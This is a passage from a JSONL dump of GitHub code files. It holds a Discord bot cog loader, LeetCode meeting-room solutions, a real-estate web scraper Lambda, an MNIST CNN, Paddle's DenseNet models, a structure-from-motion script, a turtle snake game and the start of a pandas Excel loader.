str(v.errors[key]))\n sys.exit(1)\n\n return document\n","repo_name":"aliasrobotics/RVD","sub_path":"rvd_tools/database/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"29"} +{"seq_id":"31157428593","text":"import logging\n\nfrom discord.ext import commands\n\nCOG_HELP = \"\"\"TODO: help\"\"\"\n\n\nclass DynamicLoad(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.logging = logging.getLogger(__name__)\n\n async def _reload_all_cogs(self) -> list:\n self.logging.info(\"Reloading cogs...\")\n\n _reloaded = []\n # local copy\n cogs = list(self.bot.extensions.keys())\n for cog in cogs:\n if cog == __name__:\n # skip\n continue\n try:\n await self.bot.reload_extension(cog)\n except Exception as e:\n self.logging.error(f\"{cog} failed to reload: raised exception: {e}\")\n else:\n _reloaded.append(cog)\n return _reloaded\n\n async def _reload_cog(self, cog_name) -> bool:\n self.logging.info(f\"Attempting reload on {cog_name}...\")\n\n if cog_name in self.bot.extensions.keys():\n try:\n await self.bot.reload_extension(cog_name)\n except Exception as e:\n self.logging.error(\n f\"{cog_name} failed to reload: raised exception: {e}\"\n )\n return f\"`{cog_name}` raised exception: ```\\n{e}\\n```\"\n else:\n self.logging.info(f\"Reloaded {cog_name}\")\n return f\"Reloaded `{cog_name}`\"\n\n else:\n try:\n await self.bot.load_extension(cog_name)\n except Exception as e:\n self.logging.error(f\"{cog_name} failed to load: raised exception: {e}\")\n return f\"No such cog: `{cog_name}`\"\n else:\n self.logging.info(f\"Loaded {cog_name}\")\n return f\"Loaded new cog `{cog_name}`\"\n\n def _fmt_cog_list(self, input_list: list) -> str:\n ret = \"\\n\".join(f\"- {i}\" for i in input_list)\n return f\"```\\n{ret}\\n```\"\n\n @commands.command(name=\"dloader\")\n async def entry(self, context, cog_name: str):\n self.logging.info(f\"entry called with {cog_name}\")\n\n if cog_name == \"all\":\n reloaded = self._fmt_cog_list(await self._reload_all_cogs())\n await context.send(f\"Reloaded\\n{reloaded}\")\n\n elif cog_name == \"list\":\n resp = self._fmt_cog_list(self.bot.extensions.keys())\n await context.send(f\"Cogs currently loaded:\\n{resp}\")\n\n elif cog_name == __name__:\n await context.send(\"Cannot act on self-cog.\")\n\n else:\n resp = await self._reload_cog(cog_name)\n await context.send(resp)\n\n async def cog_command_error(self, context, error):\n # pylint: disable=arguments-renamed\n if isinstance(error, commands.errors.MissingRequiredArgument):\n await context.send(f\"Missing Argument!\\n{COG_HELP}\")\n else:\n raise error\n\n\nasync def setup(bot):\n await bot.add_cog(DynamicLoad(bot))\n return\n","repo_name":"fjebaker/e-bot","sub_path":"src/cogs/dynamic_load.py","file_name":"dynamic_load.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"14424173468","text":"import heapq\n\nclass Solution1WithHeap:\n def minMeetingRooms(self, intervals: List[List[int]]) -> int:\n if not intervals:\n return 0\n \n if len(intervals) == 1:\n return 1\n \n START_INDEX = 0\n END_INDEX = 1\n \n intervals.sort(key=lambda x: x[START_INDEX])\n \n count = 1\n endingsHeap = [intervals[0][END_INDEX]] \n \n for meeting in intervals[1:]:\n if endingsHeap[0] <= meeting[START_INDEX]:\n heapq.heappop(endingsHeap)\n \n heapq.heappush(endingsHeap, meeting[END_INDEX])\n \n return len(endingsHeap)\n\nclass Solution2WithArray:\n def minMeetingRooms(self, intervals: List[List[int]]) -> int:\n if not intervals:\n return 0\n \n if len(intervals) == 1:\n return 1\n \n START_INDEX = 0\n END_INDEX = 1\n starts = [meeting[START_INDEX] for meeting in intervals]\n ends = [meeting[END_INDEX] for meeting in intervals]\n starts.sort()\n ends.sort()\n \n end_index = 0\n count = 0\n \n for start in starts:\n if start < ends[end_index]:\n count += 1\n continue\n \n if start >= ends[end_index]:\n end_index += 1\n \n return count ","repo_name":"jenniferdo2211/LeetCodePractices","sub_path":"array/LC253-medium-meeting-overlapping.py","file_name":"LC253-medium-meeting-overlapping.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31178300301","text":"import logging\nimport os\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\nfrom decimal import Decimal\nimport boto3\nfrom boto3.dynamodb.conditions import Attr\nimport time\n\ndynamodb = boto3.resource(\"dynamodb\")\ntable = dynamodb.Table(os.environ.get(\"TABLE_NAME\"))\nlogging.getLogger().setLevel(logging.INFO)\n\n\ndef insertToTable(item: dict) -> int:\n \"\"\"\n Inserts item dynamodb Table\n \"\"\"\n try:\n table.put_item(\n Item={\n \"id\": item[\"id\"],\n \"type\": \"SASKHOUSES\",\n \"createdat\": Decimal(str(round(time.time() * 1000))),\n \"address\": item[\"address\"],\n \"link\": item[\"link\"],\n \"beds\": item[\"beds\"],\n \"baths\": Decimal(str(item[\"baths\"])),\n \"area\": item[\"area\"],\n \"price\": item[\"price\"],\n },\n ConditionExpression=Attr(\"id\").not_exists(),\n )\n return 1\n except Exception as e:\n return 0\n\n\ndef handler(event, context):\n print(json.dumps(event))\n base_url = \"https://saskhouses.com\"\n search_url = base_url + \"/search-results-2\"\n header = {\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n }\n BED_MIN = event[\"bedsMin\"]\n BED_MAX = event[\"bedsMax\"]\n listings = []\n\n logging.info(\"Searching for houses...\")\n for bed in range(BED_MIN, BED_MAX + 1):\n for bath in range(3, bed + 1):\n params = {\n \"location[]\": \"saskatoon\",\n \"type[]\": \"residential\",\n \"status[]\": \"for-sale\",\n \"bedrooms\": str(bed),\n \"bathrooms\": str(bath),\n \"min-price\": event['minPrice'],\n \"max-price\": event['maxPrice'],\n }\n\n resp = requests.get(url=search_url, params=params, headers=header)\n soup = BeautifulSoup(resp.text, \"html.parser\")\n items = soup.find_all(\n \"div\", {\"class\": \"item-listing-wrap hz-item-gallery-js card\"}\n )\n if len(items) == 0:\n continue\n for item in items:\n link = item.find(\"a\", {\"class\": \"btn\"}).get(\"href\")\n page = BeautifulSoup(\n requests.get(url=link, headers=header).text, \"html.parser\"\n )\n address = page.find(\"li\", {\"class\": \"detail-address\"}).text if page.find(\"li\", {\"class\": \"detail-address\"}) is not None else None\n details = page.find(\"div\", \"detail-wrap\")\n id = (\n details.find(text=\"Property ID:\").findNext().text.strip()\n if details.find(text=\"Property ID:\") is not None\n else None\n )\n price = (\n details.find(text=\"Price:\").findNext().text.strip()\n if details.find(text=\"Price:\") is not None\n else None\n )\n area = (\n details.find(text=\"Property Size:\").findNext().text.strip()\n if details.find(text=\"Property Size:\") is not None\n else None\n )\n beds = (\n details.find(text=\"Bedrooms:\").findNext().text.strip()\n if details.find(text=\"Bedrooms:\") is not None\n else None\n )\n baths = (\n details.find(text=\"Bathrooms:\").findNext().text.strip()\n if details.find(text=\"Bathrooms:\") is not None\n else None\n )\n year = (\n details.find(text=\"Year Built:\").findNext().text.strip()\n if details.find(text=\"Year Built:\") is not None\n else None\n )\n\n listings.append(\n dict(\n id=id,\n address=address,\n link=link,\n beds=beds,\n baths=baths,\n area=[int(i) for i in area.split() if i.isdigit()][0]\n if area is not None\n else None,\n price=(\n lambda x: int(\n x.replace(\"$\", \"\").replace(\n \"CAD\", \"\").replace(\",\", \"\")\n )\n )(price),\n year=year,\n )\n )\n logging.info(\"found {} listings\".format(len(listings)))\n logging.info(\"adding listings to table...\")\n logging.info(\n \"{} listings added to table\".format(\n sum([insertToTable(listing) for listing in listings])\n )\n )\n return dict(status=200)\n","repo_name":"sandeshakya/real-estate-lambdas","sub_path":"saskhouses-webscraper/src/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24745307948","text":"import torch\nimport torchvision.datasets as dsets\nimport torchvision.transforms as transforms\nimport torch.nn.init\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\n\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\ntorch.manual_seed(777)\n\nlearning_rate = 0.001\ntraining_epochs = 15\nbatch_size = 100\n\nmnist_train = dsets.MNIST(root='MNIST_data/', # 다운로드 경로 지정\n train=True, # True를 지정하면 훈련 데이터로 다운로드\n transform=transforms.ToTensor(), # 텐서로 변환\n download=True)\n\nmnist_test = dsets.MNIST(root='MNIST_data/', # 다운로드 경로 지정\n train=False, # False를 지정하면 테스트 데이터로 다운로드\n transform=transforms.ToTensor(), # 텐서로 변환\n download=True)\n\ndata_loader = DataLoader(dataset=mnist_train,\n batch_size=batch_size,\n shuffle=True,\n drop_last=True)\n\nclass CNN(torch.nn.Module):\n \n def __init__(self):\n super(CNN, self).__init__()\n \n self.layer1 = torch.nn.Sequential(\n torch.nn.Conv2d(1, 32, kernel_size=3, stride=1, padding=1),\n torch.nn.ReLU(),\n torch.nn.MaxPool2d(kernel_size=2, stride=2))\n\n \n self.layer2 = torch.nn.Sequential(\n torch.nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1),\n torch.nn.ReLU(),\n torch.nn.MaxPool2d(kernel_size=2, stride=2))\n\n self.fc = torch.nn.Linear(7 * 7 * 64, 10, bias=True)\n\n # 전결합층 한정으로 가중치 초기화\n torch.nn.init.xavier_uniform_(self.fc.weight)\n\n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = out.view(out.size(0), -1) # 전결합층을 위해서 Flatten\n out = self.fc(out)\n return out\n\n \n\nmodel = CNN().to(device)\ncriterion = torch.nn.CrossEntropyLoss().to(device)\noptimizer = torch.optim.Adam(model.parameters(), lr= learning_rate)\n\ntotal_batch = len(data_loader)\n\nfor epoch in range(training_epochs):\n avg_cost = 0\n\n for X, Y in data_loader: # 미니 배치 단위로 꺼내온다. X는 미니 배치, Y는레이블.\n X = X.to(device)\n Y = Y.to(device)\n\n optimizer.zero_grad()\n hypothesis = model(X)\n cost = criterion(hypothesis, Y)\n cost.backward()\n optimizer.step()\n\n avg_cost += cost / total_batch\n\n print('[Epoch: {:>4}] cost = {:>.9}'.format(epoch + 1, avg_cost))\n\nwith torch.no_grad():\n X_test = mnist_test.test_data.view(len(mnist_test), 1, 28, 28).float().to(device)\n Y_test = mnist_test.test_labels.to(device)\n\n prediction = model(X_test)\n correct_prediction = torch.argmax(prediction, 1) == Y_test\n accuracy = correct_prediction.float().mean()\n print('Accuracy:', accuracy.item())","repo_name":"minjae-lulu/Vision_code","sub_path":"semester_assignment/prac/20_cnnmnist.py","file_name":"20_cnnmnist.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36021486661","text":"import math\n\nimport paddle\nfrom paddle import nn\nfrom paddle.base.param_attr import ParamAttr\nfrom paddle.nn import (\n AdaptiveAvgPool2D,\n AvgPool2D,\n BatchNorm,\n Conv2D,\n Dropout,\n Linear,\n MaxPool2D,\n)\nfrom paddle.nn.initializer import Uniform\nfrom paddle.utils.download import get_weights_path_from_url\n\n__all__ = []\n\nmodel_urls = {\n 'densenet121': (\n 'https://paddle-imagenet-models-name.bj.bcebos.com/dygraph/DenseNet121_pretrained.pdparams',\n 'db1b239ed80a905290fd8b01d3af08e4',\n ),\n 'densenet161': (\n 'https://paddle-imagenet-models-name.bj.bcebos.com/dygraph/DenseNet161_pretrained.pdparams',\n '62158869cb315098bd25ddbfd308a853',\n ),\n 'densenet169': (\n 'https://paddle-imagenet-models-name.bj.bcebos.com/dygraph/DenseNet169_pretrained.pdparams',\n '82cc7c635c3f19098c748850efb2d796',\n ),\n 'densenet201': (\n 'https://paddle-imagenet-models-name.bj.bcebos.com/dygraph/DenseNet201_pretrained.pdparams',\n '16ca29565a7712329cf9e36e02caaf58',\n ),\n 'densenet264': (\n 'https://paddle-imagenet-models-name.bj.bcebos.com/dygraph/DenseNet264_pretrained.pdparams',\n '3270ce516b85370bba88cfdd9f60bff4',\n ),\n}\n\n\nclass BNACConvLayer(nn.Layer):\n def __init__(\n self,\n num_channels,\n num_filters,\n filter_size,\n stride=1,\n pad=0,\n groups=1,\n act=\"relu\",\n ):\n super().__init__()\n self._batch_norm = BatchNorm(num_channels, act=act)\n\n self._conv = Conv2D(\n in_channels=num_channels,\n out_channels=num_filters,\n kernel_size=filter_size,\n stride=stride,\n padding=pad,\n groups=groups,\n weight_attr=ParamAttr(),\n bias_attr=False,\n )\n\n def forward(self, input):\n y = self._batch_norm(input)\n y = self._conv(y)\n return y\n\n\nclass DenseLayer(nn.Layer):\n def __init__(self, num_channels, growth_rate, bn_size, dropout):\n super().__init__()\n self.dropout = dropout\n\n self.bn_ac_func1 = BNACConvLayer(\n num_channels=num_channels,\n num_filters=bn_size * growth_rate,\n filter_size=1,\n pad=0,\n stride=1,\n )\n\n self.bn_ac_func2 = BNACConvLayer(\n num_channels=bn_size * growth_rate,\n num_filters=growth_rate,\n filter_size=3,\n pad=1,\n stride=1,\n )\n\n if dropout:\n self.dropout_func = Dropout(p=dropout, mode=\"downscale_in_infer\")\n\n def forward(self, input):\n conv = self.bn_ac_func1(input)\n conv = self.bn_ac_func2(conv)\n if self.dropout:\n conv = self.dropout_func(conv)\n conv = paddle.concat([input, conv], axis=1)\n return conv\n\n\nclass DenseBlock(nn.Layer):\n def __init__(\n self, num_channels, num_layers, bn_size, growth_rate, dropout, name=None\n ):\n super().__init__()\n self.dropout = dropout\n self.dense_layer_func = []\n\n pre_channel = num_channels\n for layer in range(num_layers):\n self.dense_layer_func.append(\n self.add_sublayer(\n f\"{name}_{layer + 1}\",\n DenseLayer(\n num_channels=pre_channel,\n growth_rate=growth_rate,\n bn_size=bn_size,\n dropout=dropout,\n ),\n )\n )\n pre_channel = pre_channel + growth_rate\n\n def forward(self, input):\n conv = input\n for func in self.dense_layer_func:\n conv = func(conv)\n return conv\n\n\nclass TransitionLayer(nn.Layer):\n def __init__(self, num_channels, num_output_features):\n super().__init__()\n\n self.conv_ac_func = BNACConvLayer(\n num_channels=num_channels,\n num_filters=num_output_features,\n filter_size=1,\n pad=0,\n stride=1,\n )\n\n self.pool2d_avg = AvgPool2D(kernel_size=2, stride=2, padding=0)\n\n def forward(self, input):\n y = self.conv_ac_func(input)\n y = self.pool2d_avg(y)\n return y\n\n\nclass ConvBNLayer(nn.Layer):\n def __init__(\n self,\n num_channels,\n num_filters,\n filter_size,\n stride=1,\n pad=0,\n groups=1,\n act=\"relu\",\n ):\n super().__init__()\n\n self._conv = Conv2D(\n in_channels=num_channels,\n out_channels=num_filters,\n kernel_size=filter_size,\n stride=stride,\n padding=pad,\n groups=groups,\n weight_attr=ParamAttr(),\n bias_attr=False,\n )\n self._batch_norm = BatchNorm(num_filters, act=act)\n\n def forward(self, input):\n y = self._conv(input)\n y = self._batch_norm(y)\n return y\n\n\nclass DenseNet(nn.Layer):\n \"\"\"DenseNet model from\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n layers (int, optional): Layers of DenseNet. Default: 121.\n bn_size (int, optional): Expansion of growth rate in the middle layer. Default: 4.\n dropout (float, optional): Dropout rate. Default: :math:`0.0`.\n num_classes (int, optional): Output dim of last fc layer. If num_classes <= 0, last fc layer\n will not be defined. Default: 1000.\n with_pool (bool, optional): Use pool before the last fc layer or not. Default: True.\n\n Returns:\n :ref:`api_paddle_nn_Layer`. An instance of DenseNet model.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> from paddle.vision.models import DenseNet\n\n >>> # Build model\n >>> densenet = DenseNet()\n\n >>> x = paddle.rand([1, 3, 224, 224])\n >>> out = densenet(x)\n\n >>> print(out.shape)\n [1, 1000]\n \"\"\"\n\n def __init__(\n self,\n layers=121,\n bn_size=4,\n dropout=0.0,\n num_classes=1000,\n with_pool=True,\n ):\n super().__init__()\n self.num_classes = num_classes\n self.with_pool = with_pool\n supported_layers = [121, 161, 169, 201, 264]\n assert (\n layers in supported_layers\n ), f\"supported layers are {supported_layers} but input layer is {layers}\"\n densenet_spec = {\n 121: (64, 32, [6, 12, 24, 16]),\n 161: (96, 48, [6, 12, 36, 24]),\n 169: (64, 32, [6, 12, 32, 32]),\n 201: (64, 32, [6, 12, 48, 32]),\n 264: (64, 32, [6, 12, 64, 48]),\n }\n num_init_features, growth_rate, block_config = densenet_spec[layers]\n\n self.conv1_func = ConvBNLayer(\n num_channels=3,\n num_filters=num_init_features,\n filter_size=7,\n stride=2,\n pad=3,\n act='relu',\n )\n self.pool2d_max = MaxPool2D(kernel_size=3, stride=2, padding=1)\n self.block_config = block_config\n self.dense_block_func_list = []\n self.transition_func_list = []\n pre_num_channels = num_init_features\n num_features = num_init_features\n for i, num_layers in enumerate(block_config):\n self.dense_block_func_list.append(\n self.add_sublayer(\n f\"db_conv_{i + 2}\",\n DenseBlock(\n num_channels=pre_num_channels,\n num_layers=num_layers,\n bn_size=bn_size,\n growth_rate=growth_rate,\n dropout=dropout,\n name='conv' + str(i + 2),\n ),\n )\n )\n\n num_features = num_features + num_layers * growth_rate\n pre_num_channels = num_features\n\n if i != len(block_config) - 1:\n self.transition_func_list.append(\n self.add_sublayer(\n f\"tr_conv{i + 2}_blk\",\n TransitionLayer(\n num_channels=pre_num_channels,\n num_output_features=num_features // 2,\n ),\n )\n )\n pre_num_channels = num_features // 2\n num_features = num_features // 2\n\n self.batch_norm = BatchNorm(num_features, act=\"relu\")\n if self.with_pool:\n self.pool2d_avg = AdaptiveAvgPool2D(1)\n\n if self.num_classes > 0:\n stdv = 1.0 / math.sqrt(num_features * 1.0)\n self.out = Linear(\n num_features,\n num_classes,\n weight_attr=ParamAttr(initializer=Uniform(-stdv, stdv)),\n bias_attr=ParamAttr(),\n )\n\n def forward(self, input):\n conv = self.conv1_func(input)\n conv = self.pool2d_max(conv)\n\n for i, num_layers in enumerate(self.block_config):\n conv = self.dense_block_func_list[i](conv)\n if i != len(self.block_config) - 1:\n conv = self.transition_func_list[i](conv)\n\n conv = self.batch_norm(conv)\n\n if self.with_pool:\n y = self.pool2d_avg(conv)\n\n if self.num_classes > 0:\n y = paddle.flatten(y, start_axis=1, stop_axis=-1)\n y = self.out(y)\n\n return y\n\n\ndef _densenet(arch, layers, pretrained, **kwargs):\n model = DenseNet(layers=layers, **kwargs)\n if pretrained:\n assert (\n arch in model_urls\n ), \"{} model do not have a pretrained model now, you should set pretrained=False\".format(\n arch\n )\n weight_path = get_weights_path_from_url(\n model_urls[arch][0], model_urls[arch][1]\n )\n\n param = paddle.load(weight_path)\n model.set_dict(param)\n\n return model\n\n\ndef densenet121(pretrained=False, **kwargs):\n \"\"\"DenseNet 121-layer model from\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n pretrained (bool, optional): Whether to load pre-trained weights. If True, returns a model pre-trained\n on ImageNet. Default: False.\n **kwargs (optional): Additional keyword arguments. For details, please refer to :ref:`DenseNet <api_paddle_vision_models_DenseNet>`.\n\n Returns:\n :ref:`api_paddle_nn_Layer`. An instance of DenseNet 121-layer model.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> from paddle.vision.models import densenet121\n\n >>> # Build model\n >>> model = densenet121()\n\n >>> # Build model and load imagenet pretrained weight\n >>> # model = densenet121(pretrained=True)\n\n >>> x = paddle.rand([1, 3, 224, 224])\n >>> out = model(x)\n\n >>> print(out.shape)\n [1, 1000]\n \"\"\"\n return _densenet('densenet121', 121, pretrained, **kwargs)\n\n\ndef densenet161(pretrained=False, **kwargs):\n \"\"\"DenseNet 161-layer model from\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n pretrained (bool, optional): Whether to load pre-trained weights. If True, returns a model pre-trained\n on ImageNet. Default: False.\n **kwargs (optional): Additional keyword arguments. For details, please refer to :ref:`DenseNet <api_paddle_vision_models_DenseNet>`.\n\n Returns:\n :ref:`api_paddle_nn_Layer`. An instance of DenseNet 161-layer model.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> from paddle.vision.models import densenet161\n\n >>> # Build model\n >>> model = densenet161()\n\n >>> # Build model and load imagenet pretrained weight\n >>> # model = densenet161(pretrained=True)\n\n >>> x = paddle.rand([1, 3, 224, 224])\n >>> out = model(x)\n\n >>> print(out.shape)\n [1, 1000]\n \"\"\"\n return _densenet('densenet161', 161, pretrained, **kwargs)\n\n\ndef densenet169(pretrained=False, **kwargs):\n \"\"\"DenseNet 169-layer model from\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n pretrained (bool, optional): Whether to load pre-trained weights. If True, returns a model pre-trained\n on ImageNet. Default: False.\n **kwargs (optional): Additional keyword arguments. For details, please refer to :ref:`DenseNet <api_paddle_vision_models_DenseNet>`.\n\n Returns:\n :ref:`api_paddle_nn_Layer`. An instance of DenseNet 169-layer model.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> from paddle.vision.models import densenet169\n\n >>> # Build model\n >>> model = densenet169()\n\n >>> # Build model and load imagenet pretrained weight\n >>> # model = densenet169(pretrained=True)\n\n >>> x = paddle.rand([1, 3, 224, 224])\n >>> out = model(x)\n\n >>> print(out.shape)\n [1, 1000]\n \"\"\"\n return _densenet('densenet169', 169, pretrained, **kwargs)\n\n\ndef densenet201(pretrained=False, **kwargs):\n \"\"\"DenseNet 201-layer model from\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n pretrained (bool, optional): Whether to load pre-trained weights. If True, returns a model pre-trained\n on ImageNet. Default: False.\n **kwargs (optional): Additional keyword arguments. For details, please refer to :ref:`DenseNet <api_paddle_vision_models_DenseNet>`.\n\n Returns:\n :ref:`api_paddle_nn_Layer`. An instance of DenseNet 201-layer model.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> from paddle.vision.models import densenet201\n\n >>> # Build model\n >>> model = densenet201()\n\n >>> # Build model and load imagenet pretrained weight\n >>> # model = densenet201(pretrained=True)\n >>> x = paddle.rand([1, 3, 224, 224])\n >>> out = model(x)\n\n >>> print(out.shape)\n [1, 1000]\n \"\"\"\n return _densenet('densenet201', 201, pretrained, **kwargs)\n\n\ndef densenet264(pretrained=False, **kwargs):\n \"\"\"DenseNet 264-layer model from\n `\"Densely Connected Convolutional Networks\" <https://arxiv.org/pdf/1608.06993.pdf>`_.\n\n Args:\n pretrained (bool, optional): Whether to load pre-trained weights. If True, returns a model pre-trained\n on ImageNet. Default: False.\n **kwargs (optional): Additional keyword arguments. For details, please refer to :ref:`DenseNet <api_paddle_vision_models_DenseNet>`.\n\n Returns:\n :ref:`api_paddle_nn_Layer`. An instance of DenseNet 264-layer model.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> from paddle.vision.models import densenet264\n\n >>> # Build model\n >>> model = densenet264()\n\n >>> # Build model and load imagenet pretrained weight\n >>> # model = densenet264(pretrained=True)\n\n >>> x = paddle.rand([1, 3, 224, 224])\n >>> out = model(x)\n\n >>> print(out.shape)\n [1, 1000]\n \"\"\"\n return _densenet('densenet264', 264, pretrained, **kwargs)\n","repo_name":"PaddlePaddle/Paddle","sub_path":"python/paddle/vision/models/densenet.py","file_name":"densenet.py","file_ext":"py","file_size_in_byte":15494,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"43983676767","text":"import sys\nimport glob\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata_path = sys.argv[1] # Data directory path. Should contain camera intrinsics in `K.txt`.\nfnames = glob.glob(f'{data_path}/*.jpg')\nfnames.sort() # Order of capture is important for incremental SFM!\n\nK = np.loadtxt(f'{data_path}/K.txt', dtype=np.float) # Load intrinsics\nkp_prev, desc_prev = None, None\nRt_prev = np.append(np.eye(3), np.zeros((3, 1)), axis=-1) # Init extrinsics for current frame\nRt = np.zeros((3, 4)) # Init extrinsics for next frame\nP_prev = K @ Rt_prev # Init projection matrix for current frame\nP = np.zeros((3, 4)) # Init projection matrix for next frame\npt_cld = np.empty((3, 1))\n\n\ndef lowes_filter(matches, kp1, kp2, thresh=0.8):\n pts1, pts2 = [], []\n for m in matches:\n if m[0].distance / m[1].distance < thresh:\n pts1.append(kp1[m[0].queryIdx].pt)\n pts2.append(kp2[m[0].trainIdx].pt)\n return np.array(pts1), np.array(pts2)\n\n\nfor i in range(len(fnames)):\n img = cv2.imread(fnames[i])\n det = cv2.xfeatures2d.SIFT_create() # Init SIFT detector\n kp, desc = det.detectAndCompute(img, None) # Extract keypoints & their descriptors\n if i == 0: # If first frame, update and skip\n kp_prev, desc_prev = kp, desc\n continue\n\n matcher = cv2.BFMatcher_create() # Use a simple bruteforce matcher\n matches = matcher.knnMatch(desc_prev, desc, k=2) # Get top 2 matches for Lowe's test\n pts_prev, pts = lowes_filter(matches, kp_prev, kp)\n F, mask = cv2.findFundamentalMat(pts_prev, pts, cv2.RANSAC) # Fundamental Matrix for the two frames\n mask = mask.ravel() == 1\n pts_prev, pts = pts_prev[mask], pts[mask] # Exploit Epipolar constraint and keep only useful points\n\n E = K.T @ F @ K # Find Essential Matrix\n _, R, t, _ = cv2.recoverPose(E, pts_prev, pts, K) # Get current camera rotation + translation\n Rt[:, :3] = R @ Rt_prev[:, :3] # Update rotational params\n Rt[:, 3] = Rt_prev[:, 3] + Rt_prev[:, :3] @ t.ravel() # Update translation params\n P = K @ Rt # Derive projection matrix for triangulation\n pts_3d = cv2.triangulatePoints(P_prev, P, pts_prev.T, pts.T) # Find 3D coords from 2D points\n pts_3d = cv2.convertPointsFromHomogeneous(pts_3d.T)[:, 0, :].T # Homogenous (4D) -> Euclidean (3D)\n pt_cld = np.concatenate([pt_cld, pts_3d], axis=-1) # Add 3D points to point cloud\n P_prev, Rt_prev, kp_prev, desc_prev = np.copy(P), np.copy(Rt), kp, desc # Updates for next iteration\n\nfig = plt.figure(1, (10, 10)) # Plot the point cloud\nax = fig.add_subplot(111, projection='3d')\nax.scatter(pt_cld[0], pt_cld[1], pt_cld[2], s=1)\nplt.show()","repo_name":"postmalloc/tinysfm","sub_path":"tinysfm.py","file_name":"tinysfm.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"16319084789","text":"from turtle import Screen, Turtle\nfrom snake import Snake\nfrom food import Food\nfrom scoreboard import Scoreboard\nimport time\n\n\n# FUNCTIONALITY TO ADD???\n# store history of high scores????\n\nSCREEN_W_H = 600\nQUADRANT_W_H = int(SCREEN_W_H/2)\nWALL_LOWER_BOUNDARY = QUADRANT_W_H * -1\nWALL_UPPER_BOUNDARY = QUADRANT_W_H\n\n\nscreen = Screen()\nscreen.setup(width=SCREEN_W_H, height=SCREEN_W_H)\nscreen.bgcolor(\"black\")\nscreen.title(\"i'm a snaaaaaake\")\nscreen.tracer(0)\nplay_game = True\nis_game_over = False\n\nsnake = Snake()\nfood = Food()\nscoreboard = Scoreboard()\n\nscreen.listen()\nscreen.onkey(snake.up, \"Up\")\nscreen.onkey(snake.down, \"Down\")\nscreen.onkey(snake.left, \"Left\")\nscreen.onkey(snake.right, \"Right\")\nscreen.onkey(snake.movement_control, \"space\")\n\n\ndef play_snake():\n global is_game_over\n speed = 0.1\n screen.update()\n time.sleep(speed)\n snake.move()\n\n # detect collision with food\n if snake.head.distance(food) < 15:\n food.refresh()\n snake.extend()\n scoreboard.increase_score()\n if scoreboard.score >= 10 and scoreboard.score % 10 == 0:\n speed -= 0.01\n\n # detect collision with wall\n if snake.head.xcor() > WALL_UPPER_BOUNDARY or snake.head.xcor() < WALL_LOWER_BOUNDARY or snake.head.ycor() > \\\n WALL_UPPER_BOUNDARY or snake.head.ycor() < WALL_LOWER_BOUNDARY:\n is_game_over = True\n scoreboard.game_over()\n\n # detect collision with tail\n for segment in snake.segments[1:]:\n if snake.head.distance(segment) < 10:\n is_game_over = True\n scoreboard.game_over()\n\n\ndef snake_it_up():\n global play_game\n while not is_game_over:\n play_snake()\n play_again = screen.textinput(title=\"\", prompt=\"Would you like to play again? 'y' or 'n': \").lower()\n if play_again == 'n':\n play_game = False\n\n\nwhile play_game:\n snake_it_up()\n\n\nscreen.exitonclick()\n","repo_name":"thoribonner/python","sub_path":"snake/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15886134572","text":"import os\nimport pandas as pd\n\n# Set up variables\nfolder_path = \"data\"\ngender_map = {\"M\": \"Male\", \"F\": \"Female\"}\nregion_map = {\"FLE\": \"Flanders\", \"WAL\": \"Wallonia\", \"BRU\": \"Brussels\"}\nall_data = pd.DataFrame()\n\n# Loop through all files in the folder\nfor filename in os.listdir(folder_path):\n # Check if the file is an Excel file\n if filename.endswith(\".xls\") or filename.endswith(\".xlsx\"):\n # Create the full path to the file\n filepath = os.path.join(folder_path, filename)\n\n # Extract variables from the filename\n parts = filename.split(\"-\")\n year = parts[0]\n gender = gender_map.get(parts[1], \"Unknown\")\n region = region_map.get(parts[2], \"Unknown\")\n\n # Load the Excel file into a Pandas DataFrame\n df = pd.read_excel(filepath)\n\n # Rename the columns\n df.columns = [\"Code\", \"Name\", \"Total\", \"0 - 5\", \"5 - 10\", \"10 - 15\", \"15 - 20\", 